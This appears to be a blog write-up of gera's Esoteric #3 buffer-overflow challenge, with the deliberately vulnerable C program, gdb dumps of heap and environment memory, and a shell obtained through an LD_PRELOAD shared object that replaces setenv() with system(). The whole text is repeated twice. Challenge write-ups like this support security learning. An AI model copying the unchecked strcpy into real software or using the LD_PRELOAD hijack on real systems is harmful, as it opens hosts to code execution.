gera's Esoteric #3.
/* e3.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* are you an enviromental threat */
char buf[256];
int main(int argv,char **argc) {
strcpy(buf,argc[1]);
setenv("ABO",argc[2],1);
while(1);
}
I might of cheated a bit with my solution, but I feel that maybe when this challenge was written that the version (even older than the glibc 2.2.4 I'm using for these examples) of setenv() used was more prone to memory corruption.
When ABO is not initially set, here's what the environ pointer and the area near the end of buf looks like after the strcpy() overflow.
Breakpoint 1, main (argv=3, argc=0xbffff974) at e3.c:10
10 setenv("ABO",argc[2],1);
(gdb) x/x environ
0xbffff984: 0xbffffc76
...
0x8049750 <buf+208>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049760 <buf+224>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049770 <buf+240>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049780: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049790: 0x41414141 0x41414141 0x41414141 0x41414141
0x80497a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x80497b0: 0x41414141 0x41414141 0x41414141 0x41414141
...
environ still points to the stack, and buf has been overflown with As. Here is after setenv().
Breakpoint 2, main (argv=3, argc=0xbffff974) at e3.c:11
11 while(1);
(gdb) x/x environ
0x8049788: 0xbffffc76
...
0x8049740 <buf+192>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049750 <buf+208>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049760 <buf+224>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049770 <buf+240>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049780: 0x41414141 0x00000061 0xbffffc76 0xbffffc8b
0x8049790: 0xbffffcaa 0xbffffccc 0xbffffcd8 0xbffffe9b
0x80497a0: 0xbffffeba 0xbffffed6 0xbffffeeb 0xbffffef6
0x80497b0: 0xbfffff05 0xbfffff0d 0xbfffff19 0xbfffff29
0x80497c0: 0xbfffff37 0xbfffff48 0xbfffff56 0xbfffff68
0x80497d0: 0xbfffff73 0xbfffffa6 0x080497e8 0x00000000
0x80497e0: 0x41414141 0x00000011 0x3d4f4241 0x42424242
0x80497f0: 0x41414100 0x00000019 0x080497e8 0x00000000
0x8049800: 0x00000000 0x41414141 0x41414141 0x000007f9
0x8049810: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049820: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049830: 0x41414141 0x41414141 0x41414141 0x41414141
...
The environ pointer now points out to heap land (0x8049788). At this address, the environment has been copied from the stack and placed into some malloc()'d memory. At 0x80497d8, in the env array, is the pointer to the new ABO variable--which also resides in a malloc() chunk.
(gdb) x/s 0x080497e8
0x80497e8: "ABO=BBBB"
When ABO is already initialized, after the strcpy(), things are the same. But, after the setenv().
(gdb) x/x environ
0xbffff964: 0xbffffc6d
(gdb)
0xbffff968: 0x08049788
(gdb)
0xbffff96c: 0xbffffc8b
The environ pointer still points to stack space. Now just the second entry in the env array points to heap land. It looks like this.
(gdb) x/s 0x08049788
0x8049788: "ABO=BBBB"
So, setenv() just replaces the original ABO pointer with a pointer to malloc()'d memory.
Near the end of buf it looks like.
...
0x8049760 <buf+224>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049770 <buf+240>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049780: 0x41414141 0x00000011 0x3d4f4241 0x42424242
0x8049790: 0x41414100 0x00000019 0x08049788 0x00000000
0x80497a0: 0x00000000 0x41414141 0x41414141 0x00000859
0x80497b0: 0x41414141 0x41414141 0x41414141 0x41414141
...
Regardless of how, what, or with what I overflowed buf, I was unable to corrupt the setenv() data structures in my favor.
I got a shell by creating my own setenv() function in a shared object and hooking it in via LD_PRELOAD.
dennis@ipa:~/es3$ cat setenv.c
#include <stdlib.h>
int setenv(const char *name, const char *value, int replace)
{
system(value);
}
[dennis@localhost es4]$ gcc -shared -o setenv.so setenv.c
[dennis@localhost es3]$ LD_PRELOAD=./setenv.so ./e3 foobar /bin/sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ pwd
/home/dennis/es3
sh-2.05$ exit
exit
[dennis@localhost es3]$
/* e3.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* are you an enviromental threat */
char buf[256];
int main(int argv,char **argc) {
strcpy(buf,argc[1]);
setenv("ABO",argc[2],1);
while(1);
}
I might of cheated a bit with my solution, but I feel that maybe when this challenge was written that the version (even older than the glibc 2.2.4 I'm using for these examples) of setenv() used was more prone to memory corruption.
When ABO is not initially set, here's what the environ pointer and the area near the end of buf looks like after the strcpy() overflow.
Breakpoint 1, main (argv=3, argc=0xbffff974) at e3.c:10
10 setenv("ABO",argc[2],1);
(gdb) x/x environ
0xbffff984: 0xbffffc76
...
0x8049750 <buf+208>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049760 <buf+224>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049770 <buf+240>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049780: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049790: 0x41414141 0x41414141 0x41414141 0x41414141
0x80497a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x80497b0: 0x41414141 0x41414141 0x41414141 0x41414141
...
environ still points to the stack, and buf has been overflown with As. Here is after setenv().
Breakpoint 2, main (argv=3, argc=0xbffff974) at e3.c:11
11 while(1);
(gdb) x/x environ
0x8049788: 0xbffffc76
...
0x8049740 <buf+192>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049750 <buf+208>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049760 <buf+224>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049770 <buf+240>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049780: 0x41414141 0x00000061 0xbffffc76 0xbffffc8b
0x8049790: 0xbffffcaa 0xbffffccc 0xbffffcd8 0xbffffe9b
0x80497a0: 0xbffffeba 0xbffffed6 0xbffffeeb 0xbffffef6
0x80497b0: 0xbfffff05 0xbfffff0d 0xbfffff19 0xbfffff29
0x80497c0: 0xbfffff37 0xbfffff48 0xbfffff56 0xbfffff68
0x80497d0: 0xbfffff73 0xbfffffa6 0x080497e8 0x00000000
0x80497e0: 0x41414141 0x00000011 0x3d4f4241 0x42424242
0x80497f0: 0x41414100 0x00000019 0x080497e8 0x00000000
0x8049800: 0x00000000 0x41414141 0x41414141 0x000007f9
0x8049810: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049820: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049830: 0x41414141 0x41414141 0x41414141 0x41414141
...
The environ pointer now points out to heap land (0x8049788). At this address, the environment has been copied from the stack and placed into some malloc()'d memory. At 0x80497d8, in the env array, is the pointer to the new ABO variable--which also resides in a malloc() chunk.
(gdb) x/s 0x080497e8
0x80497e8: "ABO=BBBB"
When ABO is already initialized, after the strcpy(), things are the same. But, after the setenv().
(gdb) x/x environ
0xbffff964: 0xbffffc6d
(gdb)
0xbffff968: 0x08049788
(gdb)
0xbffff96c: 0xbffffc8b
The environ pointer still points to stack space. Now just the second entry in the env array points to heap land. It looks like this.
(gdb) x/s 0x08049788
0x8049788: "ABO=BBBB"
So, setenv() just replaces the original ABO pointer with a pointer to malloc()'d memory.
Near the end of buf it looks like.
...
0x8049760 <buf+224>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049770 <buf+240>: 0x41414141 0x41414141 0x41414141 0x414141
41
0x8049780: 0x41414141 0x00000011 0x3d4f4241 0x42424242
0x8049790: 0x41414100 0x00000019 0x08049788 0x00000000
0x80497a0: 0x00000000 0x41414141 0x41414141 0x00000859
0x80497b0: 0x41414141 0x41414141 0x41414141 0x41414141
...
Regardless of how, what, or with what I overflowed buf, I was unable to corrupt the setenv() data structures in my favor.
I got a shell by creating my own setenv() function in a shared object and hooking it in via LD_PRELOAD.
dennis@ipa:~/es3$ cat setenv.c
#include <stdlib.h>
int setenv(const char *name, const char *value, int replace)
{
system(value);
}
[dennis@localhost es4]$ gcc -shared -o setenv.so setenv.c
[dennis@localhost es3]$ LD_PRELOAD=./setenv.so ./e3 foobar /bin/sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ pwd
/home/dennis/es3
sh-2.05$ exit
exit
[dennis@localhost es3]$
No comments:
Post a Comment